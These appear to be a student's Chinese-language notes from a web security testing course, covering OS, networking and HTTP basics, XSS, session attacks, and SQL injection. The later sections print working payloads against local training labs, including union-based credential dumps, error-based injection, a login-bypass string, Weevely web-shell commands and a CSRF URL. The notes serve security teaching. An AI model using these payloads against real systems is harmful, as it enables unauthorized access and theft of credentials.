应用系统安全检测技术

操作系统

1.相关知识

1.1 操作系统概述

1.是系统最基本最核心的软件,属于系统软件
2.控制和管理整个计算机的硬件和软件资源
3.合理的组织、调度计算机的工作与资源的分配
4.为用户和其它软件提供方便的接口和环境

1.2 并发与并行

·并发
·并发与并行
·并发:两个或多个事件在同一时间间隔内发生
·并行:两个或多个事件在同一时刻发生。

2.进程

2.1 特征

动态性是进程最基本的特征
进程是资源分配、接受调度的基本单位 

动态性:
进程是程序的一次执行过程,是动态地产生、变化和消亡的.

并发性:
内存中有多个进程实体,各进程可并发执行

独立性:

进程是能独立运行、独立获得资源、独立接受调度的基本单位进程的特征

异步性:
各进程按各自独立的、不可预知的速度向前推进,操作系统要提供“进程同步机制”来解决异步问题

结构性:
每个进程都会配置一个PCB。结构上看,进程由程序段、数据段、PCB组成

2.2 相关概念

●PCB是进程存在的唯一标志

程序段、数据段、PCB三部分组成了程实体(进程映像)。
创建进程(PCB)
撤销进程(PCB)

进程是进程实体的运行过程,是系统进行资源分配和调度一个独立单位

2.3 线程

2.3.1 相关概念
可以把线程理解为“轻量级进程”。
线程是一个基本的CPU执行单元,也是程序执行流的最小单位。引入线程之后,不仅是进程之间可以并发,进程内的各线程之间也可以并发,从而进一步提升了系统的并发度,使得5个进程内也可以并发处理各种住务(如QQ视频、文字聊天、传文件)
引入线程后,进程只作为除CPU之外的系统资源的分配单元(如打印机、内存地址空间等都是分配给进程的)。
2.3.2 线程的实现方式
线程的实现分为两类:用户级线程和内核级线程
2.3.3 内核级线程
内核级线程的管理工作由操作系统内核完成。线程调度、切换等工作都由内核负责,因此内核级线程的切换必然需要在核心态下才能完成。
可以这样理解,“内核级线程”就是“从操作系统内核视角看能看到的线程”

3.文件管理

3.1 概念

文件管理是对外部存储设备上以文件方式存放的信息的管理 。

3.2 逻辑组织

逻辑组织是为了方便用户的使用,是用户可见的结构。文件的逻辑结构可以分为无结构的字符流文件和有结构的记录文件两种。

3.3 物理组织

文件的物理结构是指文件在存储设备上的存储方法。

3.4 目录结构

文件控制块的集合称不文件目录,文件管理的一个重要方面是对文件目录进行组织和管理。文件系统一般都采用一级目录结构、二级目录结构和多级目录结构。

3.5 存储空间管理

由于文件存储设备是分成许多大小机同的物理块,并以块为单位交接信息,因此,文件存储设备的管理实质上是对空闲块的组织和管理问题。

4.内存管理

4.1 概念

总的来说,操作系统内存管理包括物理内存管理和虚拟内存管理。

4.2 物理内存管理

  包括程序装入等概念、交换技术、连续分配管理方式和非连续分配管理方式(分页、分段、段页式)。

4.3 虚拟内存管理

   虚拟内存管理包括虚拟内存概念、请求分页管理方式、页面置换算法、页面分配策略、工作集和抖动。

5.I/O管理

计算机网络

1.概述

1.1 计算机网络的组成

从组成部分来看
一个完整的计算机网络主要由硬件、软件和协议三大部分组成,缺一不可
//  协议为核心

从工作方式来看
计算机网络(主要指Internet)可分为边缘部分和核心部分。
边缘部分// 主机
核心部分// 网络  路由器(提供通信和交换服务)

从功能组成来看
计算机网络由通信子网和资源子网组成
资源子网  (应用层,表示层,会话层)
(实现资源共享功能的设备和软件的集合)

通信子网(网络层,数据链路层,物理层)
(各种传输介质、通信设备、相应的网络协议组成)

1.2 计算机网络的功能

数据通信
资源共享(软件共享,数据共享,硬件共享)
分布式处理
提高可靠性
负载均衡
其它

1.3 分类

按网络的使用者:
公用网
专用网

1.4 性能指标

速率
带宽
吞吐量
时延
(总时延=发送时延+传播时延+处理时延+排队时延)
时延带宽积(时延带宽积=传播时延×信道带宽)
往返时延
信道利用率

1. 计算机网络(补充)

1.1 计算机网络分层的原因

发送一个pdf的步骤

发送文件前要完成的工作:
(1)发起通信的计算机必须将数据通信的通路进行激活。
(2)要告诉网络如何识别目的主机。
(3)发起通信的计算机要查明目的主机是否开机,并且与网络连接正常。
(4)发起通信的计算机要弄清楚,对方计算机中文件管理程序是否已经做好准备工作。

1.2 分层的基本原则

1.各层之间相互独立,每层只实现一种相对独立的功能。
2.每层之间界面自然清晰,易于理解,相互交流尽可能少。
3.结构上可分割开。每层都采用最合适的技术来实现。
4.保持下层对上层的独立性,上层单向使用下层提供的服务。
5.整个分层结构应该能促进标准化工作。

1.3 分层结构

OSI七层与TCP四层

1.4 服务原语

OSI将原语划分为4类:
请求(Request) T
指示(Indication)
响应(Response)
证实(Confirmation)
这4类原语用于不同的功能,如建立连接、传输数据和断开连接等。

1.5 OSI七层

应用层
表示层
会话层
传输层
网络层
数据链路层
物理层

1.6 TCP 4层

应用层
传输层
网络层
网络接口层

1.7 TCP/IP、OSI的相同点

1.都分层

2.基于独立的协议栈的概念

3.可以实现异构网络互联

1.8 三种通信方式

从通信双方信息的交互方式看,可以有三种基本方式:
1.单工通信只有一个方向的通信而没有反方向的交互,仅需要一条信道。
2.半双工通信 通信的双方都可以发送或接收信息,但任何一方都不能同时发送和接收,需要两条信道。
3.全双工通信 通信双方可以同时发送和接受信息,也需要两条信道。

1.9 传输介质

常用的传输介质分为有线传输介质与无线传输介质两大类。不同的传输介质,其特性也各不相同,它们不同的特性对网络中数据通信质量和通信速度有较大影响。

1.10 相关概念

中继器:

中继器(RP repeater)是工作在物理层上的连接设备。适用于完全相同的两个网络的互连,主要功能是通过对数据信号的重新发送或者转发,来扩大网络传输的距离。 中继器是对信号进行再生和还原的OSI模型的物理层设备。

集线器:

集线器(Hub)是指将多条以太网双绞线或光纤集合连接在同一段物理介质下的设备。集线器是运作在OSI模型中的物理层。它可以视作多端口的中继器,若它侦测到碰撞,它会提交阻塞信号

数据链路层:

负责通过一条链路从一个结点向另一个物理链路直接相连的相邻结点传送数据报。
简单的说就是将网络层的数据报进行再次封装搬运给物理层

数据链路层功能:

功能一:为网络层提供服务。无确认无连接服务,有确认无连接服务,有确认面向连接服务
功能二:链路管理,即连接的建立、维持、释放(用于面向连接的服务)。
功能三:组帧。
功能四:流量控制。 限制发送方哦~
功能五:差错控制(帧错/位错)。

1.11 局域网的概念及特点

决定局域网的主要要素为:网络拓扑,传输介质与介质访问控制方法。

概念

  局域网(Local Area Network):简称LAN.是指在某一区域内由多台计算机互联成的计算机组,使用广播信道。

特点

特点1:覆盖的地理范围较小,只在一个相对独立的局部范围内联,如一座或集中的建筑群内。
特点2:使用专门铺设的传输介质(双绞线、同轴电缆)进行联网,数据传输速率高(10Mb/s~10Gb/s)。
特点3:通信延迟时间短,误码率低,可靠性较高。
特点4:各站为平等关系,共享传输信道。
特点5:多采用分布式控制和广播式通信,能进行广播和组播。

1.12 广域网与局域网的区别与联系

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8xro3Omi-1655030474769)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day2\微信图片_20220413135936.png)]

1.13 冲突域与广播域

冲突域:在同一个冲突域中的每一个节点都能收到所有被发送的帧。简单的说就是同一时间内只能有一台设备发送信息的范围。

广播域:网络中能接收任一设备发出的广播帧的所有设备的集合。简单的说如果站点发出一个广播信号,所有能接收收到这个信号的设备范围称为一个广播域。

1.14 网络层

主要任务是把分组从源端传到目的端,为分组交换网上的不同主机提供通信服务。
网络层传输单位是数据报。

1.15 路由器

路由器主要完成两个功能
路由选择与分组转发

1.16 TCP 协议

1.TCP是面向连接(虚连接)的传输层协议。打call
2.每一条TCP连接只能有两个端点,每一条TCP连接只能是点对点的。
3.TCP提供可靠交付的服务,无差错、不丢失、不重复、按序到达。可靠有序,不丢不重
4.TCP提供全双工通信。 发送缓存 准备发送的数据&已发送但尚未收到确认的数据接收缓存按序到达但尚未被接受应用程序读取的数据&不按序到达的数据
5.TCP面向字节流 TCP把应用程序交下来的数据看成仅仅是一连串的无结构的字节流。
流:流入到进程或从
进程流出的字节序列。

1.连接建立

三次握手

1.SYN=1 seq=x
2.SYN=1 ACK=1 seq=y ack=x+1
3.ACK=1 seq=x+1 ack=y+1
2.释放连接

四次挥手

1.FIN=1 seq=u
2.ACK=1seg=v ack=u+1
3.FIN=1 ACK=1seq=w ack=u+1
4.ACK=1 seq=u+1ack=w+1

1.17 C/S与P2P模型

P2P优势
1.减轻服务器的计算压力,消除对某个服务器的完全依赖。
2.多个客户机之间可以直接共享文档。
3.可扩展性好。
4.网络健壮性强。
P2P劣势
1.占用较多的内存。
2.硬盘损伤。

1.18 DNS系统

域名系统(Domain Name Svstem DNS)是因特网使用的命名系统。用来把便干人们记忆的具有特定含义的主机名(如www.BitHachi.com)转换为便于机器处理的IP地址。

2. HTTP

2.1 客户端/服务器

​ 根据Web浏览器地址栏中指定的“网址”,Web浏览器从Web服务器(server)端获取文件资源(resouse)等信息,从而显示出Web页面像这种通过发送请求获取服务器资源的Web浏览器等,都可以称为客户端(client)

Web使用一种名为HTTP(HyperText Transfer Protocol,超文本传输协议的协议作为规范,完成从户端的服务器端等一系列运作流程。
超文本传输协议可以进行文字分割:超文本(Hypertext)、传输(Transfer)、协议(Protocol)

2.2 超文本传输协议

超文本:在互联网早期的时候,我们保存的信息通常都以文本即简单字符的形式存在,而随着互联网的高速发展,人们还想要传输图片、音频、视频,甚至点击文字或图片能够进行超链接的跳转,这种语义扩大后的文本就被称为超文本(Hypertext)。

传输:两台计算机之间会形成互联关系进行通信,由传输载体负责把二进制数据包由计算机终端传输到另一个终端的过程称为传输(transfer)。

协议可以理解为规则的约定。网络协议就是网络中传递、管理信息的一些规范。

2.3 请求方/应答方

通常我们把传输数据包的一方称为请求方,把接到二进制数据包的一方称为应签方请求方和应答方可以进行互换,请求方也可以作为应答方接受数据,应答方也可以作为请求方请求数据

2.4 数据链路层

数据链路层用来处理连接网络的硬件部分。
包括控制操作系统、硬件的设备驱动、NIC(Network Interface Card,网络适配器,即网卡),及光纤等物理可见部分(还包括连接器等一切传输媒介)。硬件上的范畴均在链路层的作用范围之内。

2.5 TCP/IP 通信传输流

利用 TCP/IP协议族进行网络通信时,会
通过分层顺序与对方进行通信。发送端从
应用层往下走,接收端则往应用层往上走。

2.6 负责传输的IP协议

按层次分,IP (Internet Protocol)网际协议位于网络层。
Internet Protocol,几乎所有使用网络的系统都会用到IP协议
TCP/IP协议放中的IP指的就足网际协议,协议名称中占据了一半位置,其玉要性可见一斑。“IP”/“IP 地址”“IP”其实是种协议的名称。
IP协议的作用是把各种数据包传送给对方。而要保证确实传送到对方那里,则需要满足各类条件。其中两个重要的条件是IP地址和 MAC地址。
IP地址指明了节点被分配到的地址,MAC地址是指网卡所属的固定地址。IP地址可以和 MAC 地址进行配对。
IP地址可变换,但MAC地址基本上不会更改。

2.7 与 HTTP关系密切的协议

IP、TCP 和 DNS

2.8 确保可靠性的 TCP协议

按层次分,TCP位于传输层,提供可靠的字节流服务。
所谓的字节流服务(Byte Stream Service)是指,为了方便传输,将大 块数据分割成以报文段(segment)为单位的数据包进行管理。而可靠的传输服务是指,能够把数据准确可靠地传给对方。一言以蔽之,TCP协议为了更容易传送大数据才把数据分割,而且TCP协议能够确认数据最终是否送达到对方。

2.9 TCP与UDP区别

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fJxCzvcl-1655030474776)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day2\课堂截图\TCP与UDP区别.png)]

2.10 TCP协议的组成

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oHOgOBjs-1655030474778)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day2\课堂截图\TCP的组成.png)]

2.11 TCP的三次握手

①首先Client 端发送连接请求报文
②Server段接受连接后回复ACK 报文,并为这次连接分配资源。
③Client端接收到 ACK 报文后也向Server 段发生 ACK 报文,并分配资源,这样TCP连接就建立了。

2.12 三次握手可靠性

  三次握手比两次更可靠,但也不是完全可靠,而追加更多次握手也不能使连接更可靠了.因此选择了三次握手。
  世界上不存在完全可靠的通信协议。从通信时间成本空间成本以及可靠度来讲,选择了“三次握手”作为点对点通信的一般规则。

2.13 HTTP协议特点

HTTP协议建立在TCP协议基础之上
HTTP协议是无状态的

2.14 一次完整的http请求过程

建立或处理连接
接收请求
处理请求
访问资源
构建响应报文
发送响应报文
记录日志

2.15 web应用请求过程

浏览器:用户输入URL(www.taobao.com)DNS域名解析
建立TCP链接
发送HTTP Request
web服务器响应
应用服务器响应
关闭TCP链接
用户浏览器渲染页面

2.16 URL/URI

URL
用于描述某服务器某特定资源的位置;
统一资源定位符,从协议开始,可以唯一确定资源地址的字符串
URI:
统一资源标识符,在一定约束条件下可以唯一确定资源地址的字符串
URN:资源命名服务
统一资源名称,通过特定命名空间中的唯一名称或ID来标识资源

URI = URL + URN

2.17 HTTP 请求 URL

必须包含协议、主机、端口(可省略)

2.18 HTTP状态码(status)

1xx:表示通知信息的,如请求收到了或正在进行处理。
2xx:表示成功,如接受或知道了。
3xx:表示重定向,表示要完成请求还必须采取进一步的行动。
4xx:表示客户的差错,如请求中有错误的语法或不能完成。
5xx:表示服务器的差错,如服务器失效无法完成请求。

2.19 HTTP首部

HTTP协议请求与响应必须包含HTTP首部
HTTP首部为客户端和服务端分别处理请求和相应提供所需的信息

2.20 HTTP报文内的 HTTP信息

响应头字段信息
Allow:对某网络资源的有效的请求行为,不允许则返回405
Cache-Control:告诉所有的缓存机制是否可以缓存及哪种类型
Content-Encoding:web服务器支持的返回内容压缩编码类型
Content-Language:响应体的语言
Content-Length:响应体的长度
Content-Location:请求资源可替代的备用的另一地址
Content-Type:返回内容的MIME类型
Location:用来重定向接收方到非请求URL的位置来完成请求或标识新的资源Server:web服务器软件名称
Set-Cookie:设置Cookie
Allow:对某网络资源的有效的请求行为,不允许则返回405
Cache-Control:告诉所有的缓存机制是否可以缓存及哪种类型
Content-Encoding:web服务器支持的返回内容压缩编码类型
Content-Language:响应体的语言
Content-Length:响应体的长度
Content-Location:请求资源可替代的备用的另一地址
Content-Type:返回内容的MIME类型
Location:用来重定向接收方到非请求URL的位置来完成请求或标识新的资源Server:web服务器软件名称
Set-Cookie:设置Cookie

2.21 HTTP的特点

HTTP的优点
简单灵活易扩展
HTTP最重要也是最突出的优点是 简单、灵活、易于扩展
HTTP的协议比较简单,它的主要组成就是header +body,头部信息也是简单的文本格式,而且 HTTP的请求报文根据英文也能猜出来大概的意思,降低学习门槛,能够让更多的人研究和开发HTTP应用所以,在简单的基础上,HTTP协议又多了灵活和易扩展的优点。

无状态(stateless)
无状态其实既是优点又是缺点。因为服务器没有记忆能力,所以就不需要额外的资源来记录状态信息,不仅实现上会简单一些,而且还能减轻服务器的负担,能够把更多的 CPU 和内存用来对外提供服务。
HTTP 的缺点
无状态
既然服务器没有记忆能力,它就无法支持需要连续多个步骤的事务操作。每次都得问一遍身份信息,不仅麻烦,而且还增加了不必要的数据传输量。由此出现了Cookie技术。

明文
HTTP 协议里还有一把优缺点一体的双刃剑,就是明文传输。明文意思就是协议里的报文(准确地说是header部分)不使用二进制数据,而是用简单可阅读的文本形式。
对比TCP、UDP 这样的二进制协议,它的优点显而易见,不需要借助任何外部工具,用浏览器、Wireshark 或者 tcpdump抓包后,直接用肉眼就可以很容易地查看或者修改,为我们的开发调试工作带来极大的便利。
当然缺点也是显而易见的,就是不安全,可以被监听和被窥探。因为无法判断通信双方的身份,不能判断报文是否被更改过。

2.22 http性能

性能,可以用六个字来概括:“不算差,不够好”。

HTML

什么是 HTML?


HTML 语言用于描述网页。

  • HTML 是指超文本标记语言: Hyper Text Markup Language
  • HTML 不是一种编程语言,而是一种标记语言
  • 标记语言是一套标记标签 ( markup tag )
  • HTML 使用标记标签来描述网页
  • HTML 文档包含了 HTML 标签文本内容
  • HTML 文档也叫做 web 页面

HTML 标签


HTML 标记标签通常被称为 HTML 标签 ( HTML tag )。

  • HTML 标签是由 尖括号 包围的关键词,比如<html>
  • HTML 标签通常是 成对出现 的,比如<b></b>
  • 标签对中的第一个标签是开始标签,第二个标签是 结束标签
  • 开始和结束标签也被称为开放标签闭合标签

HTML 元素


“HTML 标签” 和 “HTML 元素” 通常都是描述相同的意思。

但是严格来讲,一个 HTML元素包含了开始标签与结束标签

过不用担心,阅读完本章您就能够掌握它们了!

HTML 标题


HTML 标题(Heading)是通过 h1-h6标签来定义的.

HTML 段落


HTML 段落是通过标签<p>来定义的,P是英文paragraph段落的缩写,经常被用来创建一个段落,就和你写作文一样

HTML 链接


HTML 链接是通过标签<a>来定义的。a标签,也叫anchor(锚点)元素,既可以用来链接到外部地址实现页面跳转功能,也可以链接到当前页面的某部分实现内部导航功能。

HTML 强调


在人类语言中,为了突出一句话的意思,我们通常强调某些词,并且我们通常想要标记某些词作为重点或者表示某种程度上的不同。HTML 提供了许多语义化的元素,并且允许我们通过这些元素的意义标记正文内容,在这个章节中,我们将看到最常见的一小部分元素。

在 HTML 中我们可以使用em(emphasis)元素来标记这样的情况,浏览器默认风格为斜体:

HTML 元素语法

  • HTML 元素以开始标签起始
  • HTML 元素以结束标签终止
  • 元素的内容是开始标签与结束标签之间的内容
  • 某些 HTML 元素具有空内容(empty content)
  • 空元素在开始标签中进行关闭(以开始标签的结束而结束)
  • 大多数 HTML 元素可拥有属性

靶场怎么用

1.打开Kali虚拟机

2打开命令行

3.root

4.安装docker:apt-get install docker io

5.安装docker-compose:pip install docker-compose

6.下载vulstudy项目:git clone https //github.com/c0ny1/vulstudy git

7.到某个靶场路径下

8.启动容器:docker-compose up -d

9.停止容器:docker-compose stop

漏洞(vulnerableility)

vulnerableility 弱点/脆弱性

漏洞就是指硬件、软件、协议功能性、安全性、逻辑
性上的缺陷设计、实现、配置、运行、运维、升级

有意或无意

不同的形式存在各个环节和层次

威胁代理

CIA

硬件 软件 协议 信息系统

关联

BUG 程序漏洞
vulnerableility 可以利用的BUG,威胁系统CIA

利用

exploit,EXP,VUL,完整

PoC(Proofof concept)概念验证,无害

漏洞挖掘

1漏洞挖掘
1.改变了本来的意思
2.改变格式
3.改变长度
4.改变编码
5.改变符号
漏洞位置:
1.用户输入的位置
2.获取用户信息的位置,传递的位置
3.第三方调用的位置
12345
影响输入、传递、运算、存储、提取、输出
得到漏洞
Web漏洞
1.输入、输出验证不充分
2.设计缺陷
3.环境缺陷

对象

软件
硬件
协议
逻辑,Web漏洞

XSS是什么

OWASP TOP 10
当应用程序的新网页包含(不受信任的、未经恰当验证或转义)数据,或者使用可以创建HTML或JAVASCRIPT的浏览器API更新现有网页时,就会出现XSS缺陷。XSS让攻击者能够在受害者浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。
中文名:跨站脚本攻击(cross site scripting)
CSS:层叠样式表
一种将JS脚本插入到Web用户页面中
1.我们应该写什么代码
HTML JavaScript
2.代码在哪里执行
浏览器
3.直接受害者是谁
用户
HTML+JS

XSS分类

1.反射型XSS
2 存储型XSS
3.DOM型XSS
(和服务器交互层次)
形式分类
1.反射型XSS
2.存储型XSS

反射型XSS

流程
1.攻击者发送带有XSS链接发给用户
2.访问链接,访问目标服务器
3.目标服务器将XSS恶意脚本与原始界面返回到用户浏览器
4浏览器解析了XSS恶意脚本,向恶意服务器发起请求
5.攻击者从自己搭建的服务器当中获取用户信息
*XSS漏洞属于服务器Web应用程序漏洞

存储型XSS,持久型XSS

流程
1.攻击者在目标服务器上构建XSS恶意脚本,保存在目标服务器当中
2.用户访问目标服务器,并且查看了带有XSS恶意脚本的页面
3.网站将XSS恶意脚本与原始页面返回浏览器
4.用户浏览器解析了XSS恶意脚本并向恶意服务器发起请求
5.攻击者从自己搭建服务器获取用户提交信息
反射/存储
XSS和其他
窃取cookie
网络钓鱼,挖矿,恶意代码传播

新浪XSS

自动关注作者,然后那个作者再给发链接

昨日补充

反射型(非持久型)

1.发恶意脚本链接
2.访问目标服务器
3.返回浏览器了
4.恶意服务器
5.提取信息

存储型

1.在服务器上构建脚本,保存在服务器上
2.查看带有恶意脚本页面
3.返回浏览器
4.恶意服务器
5.获取信息

会话管理

WEB会话管理概述

为什么需要会话管理http是无状态的,一次请求结束,连接断开
下次服务器再收到请求,无法识别此连接是哪个用户为了需要辨别访问用户,需要一种记录用户的方式

Web应用会话管理的方式:

session的管理方式
cookie的管理方式
token的管理方式

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IvjRTp4Y-1655030493209)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day4\截图\1.png)]

SESSION的管理方式

相关问题
1)这种方式将会话信息存储在web服务器里面,所以在用户同时在线量比较多时,这些会话信息会占据比较多的内存
2)当应用采用集群部署的时候,会遇到多台web服务器之间如何做session共享的问题3)多个应用要共享session时,还会遇到跨域问题

COOKIE的管理方式

Cookie基础
Cookie是由HTTP服务器设置的Cookie信息保存在浏览器中Cookie和Session最大的区别Cookie将数据存储在客户端Session将数据存储在服务器端

会话劫持

XSS攻击:
跨站脚水(Cross-Site Scripting,XSS)
攻击者利 网站漏洞恶意的脚本代码注入到网页之中。十
当其他用户浏览这些网页时,就会执行其中的恶意代码。
主要对受害用户采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

会话固定

什么是会话固定

会话固定(Session fixation)
诱骗受害者使用攻击者指定的会话标识(SessionlD)的攻击手段。这是攻击者获取合法会话标识的最简单的方法
攻击步骤
1、攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
2、目标用户携带攻击者设定的Session ID登录站点;
3、攻击者通过Session ID获得合法会话;

Cookie安全
Cookie字段

name value domain path expire httponly secure
依次是:名称、值、域名、相对根路径、过期时间、是否有httponly标志、是否有secure标志

路径Cookie
path字段,设置conkie时如不指定则默认是当前页面路径。例如www.360.com/admin/index.php页面设置一个
cookiedocument.cookie=“test=1”
Path值是/admin/
只有该/admin/径下的页面才能读取到该cookie

TOKEN的管理方式

流程和实现上跟cookie-based基本没有区别
cookie-based里面写到cookie里面的ticket此情景称为tokentoken在请求都必须通过url参数或者是http header的形式,主动带上token

关于session攻击

主要攻击方式
首先通过捕获或固定合法用户session.然后冒充该用户来访问系统三种方式来获取一个有效的session标识符

预测
捕获(劫持)
固定

数据库基础

01 数据库价值
02什么是数据库

Database

一个以某种有组织方式存储的数据集合数据
记录、鉴别
信息
数据有序排列组合
文本
Data Base Management System DBMS

MySQL

insert into 表名 (属性) values (值);

delete from (表名) where 条件

update (表名) where 条件

select * from (表名) where 条件

like

_   匹配单个字符
%   匹配任意字符

mysql 的基本使用流程

create database A; //创建 A的数据库

show databases;

use A;//使用A

show tables;

create table student ( //创建学生表

id int ,

name varchar(20),

city varchar(20)

);

insert into student values //添加属性行

(1,‘zhangsan’,‘shenyang’),

(2,‘lisi’,‘jinzhou’),

(3,‘caoHan’,‘heishan’);

update student set city = ‘辽宁666’ where city = ‘jinzhu’;

delete from student where city like ‘辽%’;

union

union查询:将2条或多条SQL的查询结果合并成1个结果集

limit x,y

从索引x 位置开始的y条元素

Sql注入

概念

SQL 注入就是在用户输入的字符串中加入 SQL 语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的 SQL 语句就会被数据库服务器误认为是正常的 SQL 语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。

原理

将不受信任数据作为命令或者查询的一部分发送到解析器,会产生注入漏洞。攻击者的恶意数据可以诱使解析器在没有适当授权情况下执行非预期的命令或者访问数据。

Web应用对用户输入验证上的疏忽

输入的数据中包含了对数据库系统有特殊意义的符号或者命
被数据库执行
实现对数据库的操作
两个利用条件
1.用户能够控制输入
2.源程序要执行SQL语句,

Sql注入(昨日补充)

过程

过程分4步

1.攻击者访问有SQL注入漏洞的网站,寻找到注入点

2.攻击者构造注入语句,注入语句和源程序中的SQL语句组合成新的SQL语句

3.新的SQL语句被提交到数据库中执行

4.数据库执行了新的SQL语句,引发SQL注入攻击

SQL注入危害

绕过登录验证:

使用万能口令登录获取敏感数据

操作文件系统

执行系统命令

漏洞五问

我们应该写什么代码?

SQL语句

代码在哪里执行(代码由谁来执行)

目标Web应用的数据库管理系统

漏洞位置在哪里

目标Web应用

直接受害者是谁

数据

漏洞破坏了CIA的哪项特性

机密性

SQL注入详细流程

1判断是否存在注入点
•先确定正常页面
·要想尽一切办法使正常页面报错,如果不能,先搁置报错
•确定一个非正常页面,通常很难确定
原始页面,通过执行SQL语句,达到某些效果,就一定是注入点
·1通过执行真值SQL语句(and 1=1),返回原始页面
·2通过执行假值SQL语句(and 1=2),返回一个不是损错页面的非正常页面。原始页面和非正常页面不一致
是注入点
and 1=1,and 1=2判断
2判断注入点类型
3判断回显类型及位置
4 判断数据库信息
5判断数据库名
6.判断表名
7.判断字段名
8 判断字段值
9 获取数据库内容

SQL注入的分类

1.按照参数分类(数据库字段的数据类型)
整型(数值型)
字符(串)型,包括搜索型
2 按照交互方式分类
GET型、POST方式、COOKIE方式
3.按照反馈结果分类:
盲注:注入不会展现任何数据库报错内容
它是根据构造真假问题对数据库提问的方式判断是否存在注入基于时间、布尔值
•非盲注,需要关注回显类型和回显位置
4.按照数据库管理系统分类:
MySQL、Oracle、SQL-server
5.其他类型:堆叠注入、二次注入
6.错误:按照Web应用开发语言分类(错)
经典判断
整型:and 1=1,and 1=2
字符型:'and ‘a’='a 'and ‘a’='c

information_schema

字符串连接函数

group_concat()
concat(str1,str2…)没有分隔符地连接字符串
concat_ws(‘x’,str1,str2…)
groupconcat(str1,str2…)连接一个组的所有字符串

user()

database()

version() 版本

@@datadir 路径

@@version_compile_os

sql查询过程

首先查找所有数据库信息
然后查找所有表
然后查找表中列
最后查询到了我们想要的数据

SQL 查找数据库数据流程梳理

相关函数与定义

table_schema  锁定库名查找表
table_name 表明
schemata 内含所有库名
column_name 列明
columns 存放着所有列明

left()函数

left(database(),1) = ‘s’

left(a,b) 从左侧截取a前b位,正确返回1,错误返回0

like() 函数

select user() like ‘ro%’

substr(s,start,end) s为字符串start为开始字符,end为结束字符

ascii(),将字符转为 ascii

database() 字符数payload1 字符数

payload1

payload2 ascii码

关1

http://127.0.0.1/Less-1/?id=-1’ union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+

http://127.0.0.1/Less-1/?id=-1’ union select 1,2, group_concat(concat_ws(‘—’,username,password)) from security.users --+

关2

http://127.0.0.1/Less-2/?id=-1 union select 1,2,database()

http://127.0.0.1/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’

http://127.0.0.1/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users’ and table_schema = ‘security’

http://127.0.0.1/Less-2/?id=-1 union select 1,2, group_concat(concat_ws(‘—’,username,password)) from security.users

关3

http://127.0.0.1/Less-3/?id=-1’ ) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name =‘users’ --+

http://127.0.0.1/Less-3/?id=-1’ ) union select 1,2,group_concat(concat_ws(‘–’,username,password)) from security.users --+

关4

http://127.0.0.1/Less-4/?id=-1") union select 1,2,group_concat(concat_ws(‘–’,username,password)) from security.users --+

关5

通过left() 与substr() 、ascii()一个一个实验

Payload类型与处理

四种攻击类型:

**狙击手模式【Sniper】**一[每次攻击)单payload位置,单payload集合,简单替换,若有多个payload位置,则会在每-个位置上遍历一次payload集合
攻城锤模式(Battering ram)一(每次攻击)多payload位置,单payload集合,在多个位置.上使用相同的payload
草叉模式(Pitchfork)—一。(每次攻击)多payload位置,多payload集合,在每个pay load位置上遍历对应的payload集合,攻击次数为最短的pay| oad集合的元素个
集束炸弹模式(Cluster bomb)——(每次攻击)多payload位置,多payload集合,以多个pay load集合的笛卡尔积作为攻击序列。比如第一-个位置的payload集合是(A,B],第二格位置的payload集合是(C,D),则攻击序列为(<A,C>,<A,D>,<B,C>,<B.D>

sql注入

floor()报错注入

分为三个函数

count()

rand()

group by()

and select 1 from (select count(*),concat(database(),floor(rand(0) * 2))x from information_schema.tables group by x)a)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZttvWWSx-1655030539641)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day8\1650506431999.png)]

rand()函数0-1 随机数向下取整

floor函数,向下取整

第五关

得到

users表 1

http://127.0.0.1/Less-5/?id=1'  union select 1,count(*),concat_ws('-',(select table_name),floor(rand()*2)) as x from information_schema.columns where table_schema='security'  group by x --+

users表 2

http://127.0.0.1/Less-5/
?id=1'  union select 1,count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as x from information_schema.tables   group by x --+

万能口令

admin' or 1=1 #

关11

uname=shuaiB' union select ,group_concat(concat_ws('-',username,password) )from security.users  #&passwd=bi ba ta na xia

Weevely使用:

1.生成shell文件

weevely generate 密码 路径 文件名

2.上传
3.连接shell
weevely shell 文件地址 密码
4.help
weevely generate password /home/pp/new.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-309ftH32-1655030539645)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day8\1650529984832.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z7OnV9jD-1655030539646)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day8\1650530042246.png)]

weevely http://127.0.0.1/hackable/uploads/new.php password

Burp Suite

具体流程
首先点点点
然后点击Proxy、打开Intetecept is on
进行抓包
然后进行经典的爆破

CSRF(跨站请求伪造)

跨越:恶意站点跨越到有漏洞站点,通过浏览器
站点:用户访问或登录的站点
请求:HTTP(S)请求
伪造:伪造用户的请求

“同源"指的是"三个相同”:协议,域名,端口

https 默认端口443

http 默认80

http://127.0.0.1/vulnerabilities/csrf/?password_new=789&password_conf=789&Change=Change

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Pmq3sdSr-1655030549536)(C:\Users\shinelon\Desktop\信息安全\应用系统安全检测技术\day9\1650595070182.png)]

CSRF流程

